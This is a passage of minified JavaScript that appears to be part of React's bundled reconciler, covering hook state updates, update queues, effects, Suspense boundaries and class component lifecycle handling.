EY(E,L,g){if(L=L.updateQueue,L!==null&&(L=L.shared,(g&4194048)!==0)){var p=L.lanes;p&=E.pendingLanes,g|=p,L.lanes=g,x(E,g)}}function Yw(E,L){var{updateQueue:g,alternate:p}=E;if(p!==null&&(p=p.updateQueue,g===p)){var zA=null,PA=null;if(g=g.firstBaseUpdate,g!==null){do{var sA={lane:g.lane,tag:g.tag,payload:g.payload,callback:null,next:null};PA===null?zA=PA=sA:PA=PA.next=sA,g=g.next}while(g!==null);PA===null?zA=PA=L:PA=PA.next=L}else zA=PA=L;g={baseState:p.baseState,firstBaseUpdate:zA,lastBaseUpdate:PA,shared:p.shared,callbacks:p.callbacks},E.updateQueue=g;return}E=g.lastBaseUpdate,E===null?g.firstBaseUpdate=L:E.next=L,g.lastBaseUpdate=L}function QK(){if(ANA){var E=tc;if(E!==null)throw E}}function _9(E,L,g,p){ANA=!1;var zA=E.updateQueue;Ih=!1;var{firstBaseUpdate:PA,lastBaseUpdate:sA}=zA,y1=zA.shared.pending;if(y1!==null){zA.shared.pending=null;var g6=y1,k8=g6.next;g6.next=null,sA===null?PA=k8:sA.next=k8,sA=g6;var S4=E.alternate;S4!==null&&(S4=S4.updateQueue,y1=S4.lastBaseUpdate,y1!==sA&&(y1===null?S4.firstBaseUpdate=k8:y1.next=k8,S4.lastBaseUpdate=g6))}if(PA!==null){var J4=zA.baseState;sA=0,S4=k8=g6=null,y1=PA;do{var D7=y1.lane&-536870913,D5=D7!==y1.lane;if(D5?(W9&D7)===D7:(p&D7)===D7){D7!==0&&D7===sc&&(ANA=!0),S4!==null&&(S4=S4.next={lane:0,tag:y1.tag,payload:y1.payload,callback:null,next:null});A:{var n$=E,sAA=y1;D7=L;var Eg=g;switch(sAA.tag){case 1:if(n$=sAA.payload,typeof n$==="function"){J4=n$.call(Eg,J4,D7);break A}J4=n$;break A;case 3:n$.flags=n$.flags&-65537|128;case 0:if(n$=sAA.payload,D7=typeof n$==="function"?n$.call(Eg,J4,D7):n$,D7===null||D7===void 0)break A;J4=TfA({},J4,D7);break A;case 2:Ih=!0}}D7=y1.callback,D7!==null&&(E.flags|=64,D5&&(E.flags|=8192),D5=zA.callbacks,D5===null?zA.callbacks=[D7]:D5.push(D7))}else D5={lane:D7,tag:y1.tag,payload:y1.payload,callback:y1.callback,next:null},S4===null?(k8=S4=D5,g6=J4):S4=S4.next=D5,sA|=D7;if(y1=y1.next,y1===null)if(y1=zA.shared.pending,y1===null)break;else D5=y1,y1=D5.next,D5.next=null,zA.lastBaseUpdate=D5,zA.shared.pending=null}while(1);S4===null&&(g6=J4),zA.baseState=g6,zA.firstBaseUpdate=k8,zA.lastBaseUpdate=S4,PA===null&&(zA.shared.lanes=0),EN|=sA,E.lanes=sA,E.memoizedState=J4}}function kY(E,L){if(typeof E!=="function")throw Error(Y(191,E));E.call(L)}function gq(E,L){var g=E.callbacks;if(g!==null)for(E.callbacks=null,E=0;E<g.length;E++)kY(g[E],L)}function T6(E,L){E=PR,Z(D2A,E),Z(Al,L),PR=E|L.baseLanes}function W7(){Z(D2A,PR),Z(Al,Al.current)}function Q8(){PR=D2A.current,G(Al),G(D2A)}function n4(E){var L=E.alternate;Z(rJ,rJ.current&1),Z(Fj,E),pP===null&&(L===null||Al.current!==null?pP=E:L.memoizedState!==null&&(pP=E))}function Xq(E){Z(rJ,rJ.current),Z(Fj,E),pP===null&&(pP=E)}function IK(E){E.tag===22?(Z(rJ,rJ.current),Z(Fj,E),pP===null&&(pP=E)):h3(E)}function h3(){Z(rJ,rJ.current),Z(Fj,Fj.current)}function Y4(E){G(Fj),pP===E&&(pP=null),G(rJ)}function c8(E){for(var L=E;L!==null;){if(L.tag===13){var g=L.memoizedState;if(g!==null&&(g=g.dehydrated,g===null||gAA(g)||XE(g)))return L}else if(L.tag===19&&(L.memoizedProps.revealOrder==="forwards"||L.memoizedProps.revealOrder==="backwards"||L.memoizedProps.revealOrder==="unstable_legacy-backwards"||L.memoizedProps.revealOrder==="together")){if((L.flags&128)!==0)return L}else if(L.child!==null){L.child.return=L,L=L.child;continue}if(L===E)break;for(;L.sibling===null;){if(L.return===null||L.return===E)return null;L=L.return}L.sibling.return=L.return,L=L.sibling}return null}function z4(){throw Error(Y(321))}function $q(E,L){if(L===null)return!1;for(var g=0;g<L.length&&g<E.length;g++)if(!c$(E[g],L[g]))return!1;return!0}function p3(E,L,g,p,zA,PA){return DR=PA,L5=L,L.memoizedState=null,L.updateQueue=null,L.lanes=0,aK.H=E===null||E.memoizedState===null?P2A:V2A,Ng=!1,PA=g(p,zA),Ng=!1,Kl&&(PA=W3(L,g,p,zA)),b5(E),PA}function b5(E){aK.H=nAA;var L=E2!==null&&E2.next!==null;if(DR=0,hO=E2=L5=null,j2A=!1,iAA=0,ql=null,L)throw Error(Y(300));E===null||bO||(E=E.dependencies,E!==null&&SA(E)&&(bO=!0))}function W3(E,L,g,p){L5=E;var zA=0;do{if(Kl&&(ql=null),iAA=0,Kl=!1,25<=zA)throw Error(Y(301));if(zA+=1,hO=E2=null,E.updateQueue!=null){var PA=E.updateQueue;PA.lastEffect=null,PA.events=null,PA.stores=null,PA.memoCache!=null&&(PA.memoCache.index=0)}aK.H=SiA,PA=L(g,p)}while(Kl);return PA}function q1(){var E=aK.H,L=E.useState()[0];return L=typeof L.then==="function"?R1(L):L,E=E.useState()[0],(E2!==null?E2.memoizedState:null)!==E&&(L5.flags|=1024),L}function NA(){var E=M2A!==0;return M2A=0,E}function ZA(E,L,g){L.updateQueue=E.updateQueue,L.flags&=-2053,E.lanes&=~g}function gA(E){if(j2A){for(E=E.memoizedState;E!==null;){var L=E.queue;L!==null&&(L.pending=null),E=E.next}j2A=!1}DR=0,hO=E2=L5=null,Kl=!1,iAA=M2A=0,ql=null}function pA(){var E={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return hO===null?L5.memoizedState=hO=E:hO=hO.next=E,hO}function dA(){if(E2===null){var E=L5.alternate;E=E!==null?E.memoizedState:null}else E=E2.next;var L=hO===null?L5.memoizedState:hO.next;if(L!==null)hO=L,E2=E;else{if(E===null){if(L5.alternate===null)throw Error(Y(467));throw Error(Y(310))}E2=E,E={memoizedState:E2.memoizedState,baseState:E2.baseState,baseQueue:E2.baseQueue,queue:E2.queue,next:null},hO===null?L5.memoizedState=hO=E:hO=hO.next=E}return hO}function G1(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function R1(E){var L=iAA;return iAA+=1,ql===null&&(ql=[]),E=e8(ql,E,L),L=L5,(hO===null?L.memoizedState:hO.next)===null&&(L=L.alternate,aK.H=L===null||L.memoizedState===null?P2A:V2A),E}function u1(E){if(E!==null&&typeof E==="object"){if(typeof E.then==="function")return R1(E);if(E.$$typeof===wE)return iA(E)}throw Error(Y(438,String(E)))}function s1(E){var L=null,g=L5.updateQueue;if(g!==null&&(L=g.memoCache),L==null){var p=L5.alternate;p!==null&&(p=p.updateQueue,p!==null&&(p=p.memoCache,p!=null&&(L={data:p.data.map(function(zA){return zA.slice()}),index:0})))}if(L==null&&(L={data:[],index:0}),g===null&&(g=G1(),L5.updateQueue=g),g.memoCache=L,g=L.data[L.index],g===void 0)for(g=L.data[L.index]=Array(E),p=0;p<E;p++)g[p]=Eh;return L.index++,g}function E1(E,L){return typeof L==="function"?L(E):L}function Z6(E){var L=dA();return Z8(L,E2,E)}function Z8(E,L,g){var p=E.queue;if(p===null)throw Error(Y(311));p.lastRenderedReducer=g;var zA=E.baseQueue,PA=p.pending;if(PA!==null){if(zA!==null){var sA=zA.next;zA.next=PA.next,PA.next=sA}L.baseQueue=zA=PA,p.pending=null}if(PA=E.baseState,zA===null)E.memoizedState=PA;else{L=zA.next;var y1=sA=null,g6=null,k8=L,S4=!1;do{var J4=k8.lane&-536870913;if(J4!==k8.lane?(W9&J4)===J4:(DR&J4)===J4){var D7=k8.revertLane;if(D7===0)g6!==null&&(g6=g6.next={lane:0,revertLane:0,gesture:null,action:k8.action,hasEagerState:k8.hasEagerState,eagerState:k8.eagerState,next:null}),J4===sc&&(S4=!0);else if((DR&D7)===D7){k8=k8.next,D7===sc&&(S4=!0);continue}else J4={lane:0,revertLane:k8.revertLane,gesture:null,action:k8.action,hasEagerState:k8.hasEagerState,eagerState:k8.eagerState,next:null},g6===null?(y1=g6=J4,sA=PA):g6=g6.next=J4,L5.lanes|=D7,EN|=D7;J4=k8.action,Ng&&g(PA,J4),PA=k8.hasEagerState?k8.eagerState:g(PA,J4)}else D7={lane:J4,revertLane:k8.revertLane,gesture:k8.gesture,action:k8.action,hasEagerState:k8.hasEagerState,eagerState:k8.eagerState,next:null},g6===null?(y1=g6=D7,sA=PA):g6=g6.next=D7,L5.lanes|=J4,EN|=J4;k8=k8.next}while(k8!==null&&k8!==L);if(g6===null?sA=PA:g6.next=y1,!c$(PA,E.memoizedState)&&(bO=!0,S4&&(g=tc,g!==null)))throw g;E.memoizedState=PA,E.baseState=sA,E.baseQueue=g6,p.lastRenderedState=PA}return zA===null&&(p.lanes=0),[E.memoizedState,p.dispatch]}function j4(E){var L=dA(),g=L.queue;if(g===null)throw Error(Y(311));g.lastRenderedReducer=E;var{dispatch:p,pending:zA}=g,PA=L.memoizedState;if(zA!==null){g.pending=null;var sA=zA=zA.next;do PA=E(PA,sA.action),sA=sA.next;while(sA!==zA);c$(PA,L.memoizedState)||(bO=!0),L.memoizedState=PA,L.baseQueue===null&&(L.baseState=PA),g.lastRenderedState=PA}return[PA,p]}function d4(E,L,g){var p=L5,zA=dA(),PA=L9;if(PA){if(g===void 0)throw Error(Y(407));g=g()}else g=L();var sA=!c$((E2||zA).memoizedState,g);if(sA&&(zA.memoizedState=g,bO=!0),zA=zA.queue,dJ(Fq.bind(null,p,zA,E),[E]),zA.getSnapshot!==L||sA||hO!==null&&hO.memoizedState.tag&1){if(p.flags|=2048,R0(9,{destroy:void 0},U7.bind(null,p,zA,g,L),null),zz===null)throw Error(Y(349));PA||(DR&127)!==0||r4(p,L,g)}return g}function r4(E,L,g){E.flags|=16384,E={getSnapshot:L,value:g},L=L5.updateQueue,L===null?(L=G1(),L5.updateQueue=L,L.stores=[E]):(g=L.stores,g===null?L.stores=[E]:g.push(E))}function U7(E,L,g,p){L.value=g,L.getSnapshot=p,z2(L)&&b3(E)}function Fq(E,L,g){return g(function(){z2(L)&&b3(E)})}function z2(E){var L=E.getSnapshot;E=E.value;try{var g=L();return!c$(E,g)}catch(p){return!0}}function b3(E){var L=X9(E,2);L!==null&&B_(L,E,2)}function zw(E){var L=pA();if(typeof E==="function"){var g=E;if(E=g(),Ng){F(!0);try{g()}finally{F(!1)}}}return L.memoizedState=L.baseState=E,L.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:E1,lastRenderedState:E},L}function pw(E,L,g,p){return E.baseState=g,Z8(E,E2,typeof p==="function"?p:E1)}function C0(E,L,g,p,zA){if(t7(E))throw Error(Y(485));if(E=L.action,E!==null){var PA={payload:zA,action:E,next:null,isTransition:!0,status:"pending",value:null,reason:null,listeners:[],then:function(sA){PA.listeners.push(sA)}};aK.T!==null?g(!0):PA.isTransition=!1,p(PA),g=L.pending,g===null?(PA.next=L.pending=PA,zJ(L,PA)):(PA.next=g.next,L.pending=g.next=PA)}}function zJ(E,L){var{action:g,payload:p}=L,zA=E.state;if(L.isTransition){var PA=aK.T,sA={};aK.T=sA;try{var y1=g(zA,p),g6=aK.S;g6!==null&&g6(sA,y1),NH(E,L,y1)}catch(k8){L0(E,L,k8)}finally{PA!==null&&sA.types!==null&&(PA.types=sA.types),aK.T=PA}}else try{PA=g(zA,p),NH(E,L,PA)}catch(k8){L0(E,L,k8)}}function NH(E,L,g){g!==null&&typeof g==="object"&&typeof g.then==="function"?g.then(function(p){dw(E,L,p)},function(p){return L0(E,L,p)}):dw(E,L,g)}function dw(E,L,g){L.status="fulfilled",L.value=g,Kz(L),E.state=g,L=E.pending,L!==null&&(g=L.next,g===L?E.pending=null:(g=g.next,L.next=g,zJ(E,g)))}function L0(E,L,g){var p=E.pending;if(E.pending=null,p!==null){p=p.next;do L.status="rejected",L.reason=g,Kz(L),L=L.next;while(L!==p)}E.action=null}function Kz(E){E=E.listeners;for(var L=0;L<E.length;L++)(0,E[L])()}function bP(E,L){return L}function x_(E,L){if(L9){var g=zz.formState;if(g!==null){A:{var p=L5;if(L9){if(cw){var zA=OiA(cw,QP);if(zA){cw=tYA(zA),p=XiA(zA);break A}}yA(p)}p=!1}p&&(L=g[0])}}g=pA(),g.memoizedState=g.baseState=L,p={pending:null,lanes:0,dispatch:null,lastRenderedReducer:bP,lastRenderedState:L},g.queue=p,g=j1.bind(null,L5,p),p.dispatch=g,p=zw(!1);var PA=_4.bind(null,L5,!1,p.queue);return p=pA(),zA={state:L,dispatch:null,action:E,pending:null},p.queue=zA,g=C0.bind(null,L5,zA,PA,g),zA.dispatch=g,p.memoizedState=E,[L,g,!1]}function RX(E){var L=dA();return $Z(L,E2,E)}function $Z(E,L,g){if(L=Z8(E,L,bP)[0],E=Z6(E1)[0],typeof L==="object"&&L!==null&&typeof L.then==="function")try{var p=R1(L)}catch(sA){if(sA===ec)throw Z2A;throw sA}else p=L;L=dA();var zA=L.queue,PA=zA.dispatch;return g!==L.memoizedState&&(L5.flags|=2048,R0(9,{destroy:void 0},u$.bind(null,zA,g),null)),[p,PA,E]}function u$(E,L){E.action=L}function wJ(E){var L=dA(),g=E2;if(g!==null)return $Z(L,g,E);dA(),L=L.memoizedState,g=dA();var p=g.queue.dispatch;return g.memoizedState=E,[L,p,!1]}function R0(E,L,g,p){return E={tag:E,create:g,deps:p,inst:L,next:null},L=L5.updateQueue,L===null&&(L=G1(),L5.updateQueue=L),g=L.lastEffect,g===null?L.lastEffect=E.next=E:(p=g.next,g.next=E,E.next=p,L.lastEffect=E),E}function t5(){return dA().memoizedState}function nq(E,L,g,p){var zA=pA();L5.flags|=E,zA.memoizedState=R0(1|L,{destroy:void 0},g,p===void 0?null:p)}function pJ(E,L,g,p){var zA=dA();p=p===void 0?null:p;var PA=zA.memoizedState.inst;E2!==null&&p!==null&&$q(p,E2.memoizedState.deps)?zA.memoizedState=R0(L,PA,g,p):(L5.flags|=E,zA.memoizedState=R0(1|L,PA,g,p))}function y0(E,L){nq(8390656,8,E,L)}function dJ(E,L){pJ(2048,8,E,L)}function I0(E){L5.flags|=4;var L=L5.updateQueue;if(L===null)L=G1(),L5.updateQueue=L,L.events=[E];else{var g=L.events;g===null?L.events=[E]:g.push(E)}}function u_(E){var L=dA().memoizedState;return I0({ref:L,nextImpl:E}),function(){if((l3&2)!==0)throw Error(Y(440));return L.impl.apply(void 0,arguments)}}function S0(E,L){return pJ(4,2,E,L)}function yO(E,L){return pJ(4,4,E,L)}function yX(E,L){if(typeof L==="function"){E=E();var g=L(E);return function(){typeof g==="function"?g():L(null)}}if(L!==null&&L!==void 0)return E=E(),L.current=E,function(){L.current=null}}function x3(E,L,g){g=g!==null&&g!==void 0?g.concat([E]):null,pJ(4,4,yX.bind(null,L,E),g)}function IX(){}function h0(E,L){var g=dA();L=L===void 0?null:L;var p=g.memoizedState;if(L!==null&&$q(L,p[1]))return p[0];return g.memoizedState=[E,L],E}function N8(E,L){var g=dA();L=L===void 0?null:L;var p=g.memoizedState;if(L!==null&&$q(L,p[1]))return p[0];if(p=E(),Ng){F(!0);try{E()}finally{F(!1)}}return g.memoizedState=[p,L],p}function M8(E,L,g){if(g===void 0||(DR&1073741824)!==0&&(W9&261930)===0)return E.memoizedState=L;return E.memoizedState=g,E=RlA(),L5.lanes|=E,EN|=E,g}function V7(E,L,g,p){if(c$(g,L))return g;if(Al.current!==null)return E=M8(E,g,p),c$(E,L)||(bO=!0),E;if((DR&42)===0||(DR&1073741824)!==0&&(W9&261930)===0)return bO=!0,E.memoizedState=g;return E=RlA(),L5.lanes|=E,EN|=E,L}function rq(E,L,g,p,zA){var PA=fN();hX(PA!==0&&8>PA?PA:8);var sA=aK.T,y1={};aK.T=y1,_4(E,!1,L,g);try{var g6=zA(),k8=aK.S;if(k8!==null&&k8(y1,g6),g6!==null&&typeof g6==="object"&&typeof g6.then==="function"){var S4=aA(g6,p);s6(E,L,S4,pW(E))}else s6(E,L,p,pW(E))}catch(J4){s6(E,L,{then:function(){},status:"rejected",reason:J4},pW())}finally{hX(PA),sA!==null&&y1.types!==null&&(sA.types=y1.types),aK.T=sA}}function G9(E){var L=E.memoizedState;if(L!==null)return L;L={memoizedState:Xg,baseState:Xg,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:E1,lastRenderedState:Xg},next:null};var g={};return L.next={memoizedState:g,baseState:g,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:E1,lastRenderedState:g},next:null},E.memoizedState=L,E=E.alternate,E!==null&&(E.memoizedState=L),L}function CY(){return iA(OE)}function ww(){return dA().memoizedState}function e5(){return dA().memoizedState}function LY(E){for(var L=E.return;L!==null;){switch(L.tag){case 24:case 3:var g=pW();E=vY(g);var p=$9(L,E,g);p!==null&&(B_(p,L,g),EY(p,L,g)),L={cache:I1()},E.payload=L;return}L=L.return}}function v2(E,L,g){var p=pW();g={lane:p,revertLane:0,gesture:null,action:g,hasEagerState:!1,eagerState:null,next:null},t7(E)?C5(L,g):(g=E8(E,L,g,p),g!==null&&(B_(g,E,p),A3(g,L,p)))}function j1(E,L,g){var p=pW();s6(E,L,g,p)}function s6(E,L,g,p){var zA={lane:p,revertLane:0,gesture:null,action:g,hasEagerState:!1,eagerState:null,next:null};if(t7(E))C5(L,zA);else{var PA=E.alternate;if(E.lanes===0&&(PA===null||PA.lanes===0)&&(PA=L.lastRenderedReducer,PA!==null))try{var sA=L.lastRenderedState,y1=PA(sA,g);if(zA.hasEagerState=!0,zA.eagerState=y1,c$(y1,sA))return r8(E,L,zA,0),zz===null&&iq(),!1}catch(g6){}finally{}if(g=E8(E,L,zA,p),g!==null)return B_(g,E,p),A3(g,L,p),!0}return!1}function _4(E,L,g,p){if(p={lane:2,revertLane:EA(),gesture:null,action:p,hasEagerState:!1,eagerState:null,next:null},t7(E)){if(L)throw Error(Y(479))}else L=E8(E,g,p,2),L!==null&&B_(L,E,2)}function t7(E){var L=E.alternate;return E===L5||L!==null&&L===L5}function C5(E,L){Kl=j2A=!0;var g=E.pending;g===null?L.next=L:(L.next=g.next,g.next=L),E.pending=L}function A3(E,L,g){if((g&4194048)!==0){var p=L.lanes;p&=E.pendingLanes,g|=p,L.lanes=g,x(E,g)}}function C9(E,L,g,p){L=E.memoizedState,g=g(p,L),g=g===null||g===void 0?L:TfA({},L,g),E.memoizedState=g,E.lanes===0&&(E.updateQueue.baseState=g)}function Yq(E,L,g,p,zA,PA,sA){return E=E.stateNode,typeof E.shouldComponentUpdate==="function"?E.shouldComponentUpdate(p,PA,sA):L.prototype&&L.prototype.isPureReactComponent?!K6(g,p)||!K6(zA,PA):!0}function hz(E,L,g,p){E=L.state,typeof L.componentWillReceiveProps==="function"&&L.componentWillReceiveProps(g,p),typeof L.UNSAFE_componentWillReceiveProps==="function"&&L.UNSAFE_componentWillReceiveProps(g,p),L.state!==E&&KNA.enqueueReplaceState(L,L.state,null)}function w2(E,L){var g=L;if("ref"in L){g={};for(var p in L)p!=="ref"&&(g[p]=L[p])}if(E=E.defaultProps){g===L&&(g=TfA({},g));for(var zA in E)g[zA]===void 0&&(g[zA]=E[zA])}return g}function MN(E,L){try{var g=E.onUncaughtError;g(L.value,{componentStack:L.stack})}catch(p){setTimeout(function(){throw p})}}function B$(E,L,g){try{var p=E.onCaughtError;p(g.value,{componentStack:g.stack,errorBoundary:L.tag===1?L.stateNode:null})}catch(zA){setTimeout(function(){throw zA})}}function AR(E,L,g){return g=vY(g),g.tag=3,g.payload={element:null},g.callback=function(){MN(E,L)},g}function Wh(E){return E=vY(E),E.tag=3,E}function Dh(E,L,g,p){var zA=g.type.getDerivedStateFromError;if(typeof zA==="function"){var PA=p.value;E.payload=function(){return zA(PA)},E.callback=function(){B$(L,g,p)}}var sA=g.stateNode;sA!==null&&typeof sA.componentDidCatch==="function"&&(E.callback=function(){B$(L,g,p),typeof zA!=="function"&&(kN===null?kN=new Set([this]):kN.add(this));var y1=p.stack;this.componentDidCatch(p.value,{componentStack:y1!==null?y1:""})})}function Ag(E,L,g,p,zA){if(g.flags|=32768,p!==null&&typeof p==="object"&&typeof p.then==="function"){if(L=g.alternate,L!==null&&LA(L,g,zA,!0),g=Fj.current,g!==null){switch(g.tag){case 31:case 13:return pP===null?pYA():g.alternate===null&&JJ===0&&(JJ=3),g.flags&=-257,g.flags|=65536,g.lanes=zA,p===W2A?g.flags|=16384:(L=g.updateQueue,L===null?g.updateQueue=new Set([p]):L.add(p),PfA(E,p,zA)),!1;case 22:return g.flags|=65536,p===W2A?g.flags|=16384:(L=g.updateQueue,L===null?(L={transitions:null,markerInstances:null,retryQueue:new Set([p])},g.updateQueue=L):(g=L.retryQueue,g===null?L.retryQueue=new Set([p]):g.add(p)),PfA(E,p,zA)),!1}throw Error(Y(435,g.tag))}return PfA(E,p,zA),pYA(),!1}if(L9)return L=Fj.current,L!==null?((L.flags&65536)===0&&(L.flags|=256),L.flags|=65536,L.lanes=zA,p!==afA&&(E=Error(Y(422),{cause:p}),XA(YA(E,g)))):(p!==afA&&(L=Error(Y(423),{cause:p}),XA(YA(L,g))),E=E.current.alternate,E.flags|=65536,zA&=-zA,E.lanes|=zA,p=YA(p,g),zA=AR(E.stateNode,p,zA),Yw(E,zA),JJ!==4&&(JJ=2)),!1;var PA=Error(Y(520),{cause:p});if(PA=YA(PA,g),oAA===null?oAA=[PA]:oAA.push(PA),JJ!==4&&(JJ=2),L===null)return!0;p=YA(p,g),g=L;do{switch(g.tag){case 3:return g.flags|=65536,E=zA&-zA,g.lanes|=E,E=AR(g.stateNode,p,E),Yw(g,E),!1;case 1:if(L=g.type,PA=g.stateNode,(g.flags&128)===0&&(typeof L.getDerivedStateFromError==="function"||PA!==null&&typeof PA.componentDidCatch==="function"&&(kN===null||!kN.has(PA))))return g.flags|=65536,zA&=-zA,g.lanes|=zA,zA=Wh(zA),Dh(zA,E,g,p),Yw(g,zA),!1}g=g.return}while(g!==null);return!1}function bz(E,L,g,p){L.child=E===null?IiA(L,null,g,p):fg(L,E.child,g,p)}function Sj(E,L,g,p,zA){g=g.render;var PA=L.ref;if("ref"in p){var sA={};for(var y1 in p)y1!=="ref"&&(sA[y1]=p[y1])}else sA=p;if(xA(L),p=p3(E,L,g,sA,PA,zA),y1=NA(),E!==null&&!bO)return ZA(E,L,zA),PN(E,L,zA);return L9&&y1&&HA(L),L.flags|=1,bz(E,L,p,zA),L.child}function IA(E,L,g,p,zA){if(E===null){var PA=g.type;if(typeof PA==="function"&&!VfA(PA)&&PA.defaultProps===void 0&&g.compare===null)return L.tag=15,L.type=PA,bA(E,L,PA,p,zA);return E=dYA(g.type,null,p,L,L.mode,zA),E.ref=L.ref,E.return=L,L.child=E}if(PA=E.child,!VAA(E,zA)){var sA=PA.memoizedProps;if(g=g.compare,g=g!==null?g:K6,g(sA,p)&&E.ref===L.ref)return PN(E,L,zA)}return L.flags|=1,E=JR(PA,p),E.ref=L.ref,E.return=L,L.child=E}function bA(E,L,g,p,zA){if(E!==null){var PA=E.memoizedProps;if(K6(PA,p)&&E.ref===L.ref)if(bO=!1,L.pendingProps=p=PA,VAA(E,zA))(E.flags&131072)!==0&&(bO=!0);else return L.lanes=E.lanes,PN(E,L,zA)}return TH(E,L,g,p,zA)}function D1(E,L,g,p){var zA=p.children,PA=E!==null?E.memoizedState:null;if(E===null&&L.stateNode===null&&(L.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),p.mode==="hidden"){if((L.flags&128)!==0){if(PA=PA!==null?PA.baseLanes|g:g,E!==null){p=L.child=E.child;for(zA=0;p!==null;)zA=zA|p.lanes|p.childLanes,p=p.sibling;p=zA&~PA}else p=0,L.child=null;return p6(E,L,PA,g,p)}if((g&536870912)!==0)L.memoizedState={baseLanes:0,cachePool:null},E!==null&&f1(L,PA!==null?PA.cachePool:null),PA!==null?T6(L,PA):W7(),IK(L);else return p=L.lanes=536870912,p6(E,L,PA!==null?PA.baseLanes|g:g,g,p)}else PA!==null?(f1(L,PA.cachePool),T6(L,PA),h3(L),L.memoizedState=null):(E!==null&&f1(L,null),W7(),h3(L));return bz(E,L,zA,g),L.child}function W6(E,L){return E!==null&&E.tag===22||L.stateNode!==null||(L.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),L.sibling}function p6(E,L,g,p,zA){var PA=z1();return PA=PA===null?null:{parent:xj?vH._currentValue:vH._currentValue2,pool:PA},L.memoizedState={baseLanes:g,cachePool:PA},E!==null&&f1(L,null),W7(),IK(L),E!==null&&LA(E,L,p,!0),L.childLanes=zA,null}function U8(E,L){return L=bc({mode:L.mode,children:L.children},E.mode),L.ref=E.ref,E.child=L,L.return=E,L}function DK(E,L,g){return fg(L,E.child,null,g),E=U8(L,L.pendingProps),E.flags|=2,Y4(L),L.memoizedState=null,E}function J5(E,L,g){var p=L.pendingProps,zA=(L.flags&128)!==0;if(L.flags&=-129,E===null){if(L9){if(p.mode==="hidden")return E=U8(L,p),L.lanes=536870912,W6(null,E);if(Xq(L),(E=cw)?(E=cW(E,QP),E!==null&&(L.memoizedState={dehydrated:E,treeContext:_E!==null?{id:NN,overflow:TN}:null,retryLane:536870912,hydrationErrors:null},g=dlA(E),g.return=L,L.child=g,i$=L,cw=null)):E=null,E===null)throw yA(L);return L.lanes=536870912,null}return U8(L,p)}var PA=E.memoizedState;if(PA!==null){var sA=PA.dehydrated;if(Xq(L),zA)if(L.flags&256)L.flags&=-257,L=DK(E,L,g);else if(L.memoizedState!==null)L.child=E.child,L.flags|=128,L=null;else throw Error(Y(558));else if(bO||LA(E,L,g,!1),zA=(g&E.childLanes)!==0,bO||zA){if(p=zz,p!==null&&(sA=y(p,g),sA!==0&&sA!==PA.retryLane))throw PA.retryLane=sA,X9(E,sA),B_(p,E,sA),qNA;pYA(),L=DK(E,L,g)}else E=PA.treeContext,m_&&(cw=$iA(sA),i$=L,L9=!0,Rh=null,QP=!1,E!==null&&a(L,E)),L=U8(L,p),L.flags|=4096;return L}return E=JR(E.child,{mode:p.mode,children:p.children}),E.ref=L.ref,L.child=E,E.return=L,E}function qY(E,L){var g=L.ref;if(g===null)E!==null&&E.ref!==null&&(L.flags|=4194816);else{if(typeof g!=="function"&&typeof g!=="object")throw Error(Y(284));if(E===null||E.ref!==g)L.flags|=4194816}}function TH(E,L,g,p,zA){if(xA(L),g=p3(E,L,g,p,void 0,zA),p=NA(),E!==null&&!bO)return ZA(E,L,zA),PN(E,L,zA);return L9&&p&&HA(L),L.flags|=1,bz(E,L,g,zA),L.child}function cJ(E,L,g,p,zA,PA){if(xA(L),L.updateQueue=null,g=W3(L,p,g,zA),b5(E),p=NA(),E!==null&&!bO)return ZA(E,L,PA),PN(E,L,PA);return L9&&p&&HA(L),L.flags|=1,bz(E,L,g,PA),L.child}function YY(E,L,g,p,zA){if(xA(L),L.stateNode===null){var PA=FP,sA=g.contextType;typeof sA==="object"&&sA!==null&&(PA=iA(sA)),PA=new g(p,PA),L.memoizedState=PA.state!==null&&PA.state!==void 0?PA.state:null,PA.updater=KNA,L.stateNode=PA,PA._reactInternals=L,PA=L.stateNode,PA.props=p,PA.state=L.memoizedState,PA.refs={},S3(L),sA=g.contextType,PA.context=typeof sA==="object"&&sA!==null?iA(sA):FP,PA.state=L.memoizedState,sA=g.getDerivedStateFromProps,typeof sA==="function"&&(C9(L,g,sA,p),PA.state=L.memoizedState),typeof g.getDerivedStateFromProps==="function"||typeof PA.getSnapshotBeforeUpdate==="function"||typeof PA.UNSAFE_componentWillMount!=="function"&&typeof PA.componentWillMount!=="function"||(sA=PA.state,typeof PA.componentWillMount==="function"&&PA.componentWillMount(),typeof PA.UNSAFE_componentWillMount==="function"&&PA.UNSAFE_componentWillMount(),sA!==PA.state&&KNA.enqueueReplaceState(PA,PA.state,null),_9(L,p,PA,zA),QK(),PA.state=L.memoizedState),typeof PA.componentDidMount==="function"&&(L.flags|=4194308),p=!0}else if(E===null){PA=L.stateNode;var y1=L.memoizedProps,g6=w2(g,y1);PA.props=g6;var k8=PA.context,S4=g.contextType;sA=FP,typeof S4==="object"&&S4!==null&&(sA=iA(S4));var J4=g.getDerivedStateFromProps;S4=typeof J4==="function"||typeof PA.getSnapshotBeforeUpdate==="function",y1=L.pendingProps!==y1,S4||typeof PA.UNSAFE_componentWillReceiveProps!=="function"&&typeof PA.componentWillReceiveProps!=="function"||(y1||k8!==sA)&&hz(L,PA,p,sA),Ih=!1;var D7=L.memoizedState;PA.state=D7,_9(L,p,PA,zA),QK(),k8=L.memoizedState,y1||D7!==k8||Ih?(typeof J4==="function"&&(C9(L,g,J4,p),k8=L.memoizedState),(g6=Ih||Yq(L,g,g6,p,D7,k8,sA))?(S4||typeof PA.UNSAFE_componentWillMount!=="function"&&typeof PA.componentWillMount!=="function"||(typeof PA.componentWillMount==="function"&&PA.componentWillMount(),typeof PA.UNSAFE_componentWillMount==="function"&&PA.UNSAFE_componentWillMount()),typeof PA.componentDidMount==="function"&&(L.flags|=4194308)):(typeof PA.componentDidMount==="function"&&(L.flags|=4194308),L.memoizedProps=p,L.memoizedState=k8),PA.props=p,PA.state=k8,PA.context=sA,p=g6):(typeof PA.componentDidMount==="function"&&(L.flags|=4194308),p=!1)}else{PA=L.stateNode,dY(E,L),sA=L.memoizedProps,S4=w2(g,sA),PA.props=S4,J4=L.pendingProps,D7=PA.context,k8=g.contextType,g6=FP,typeof 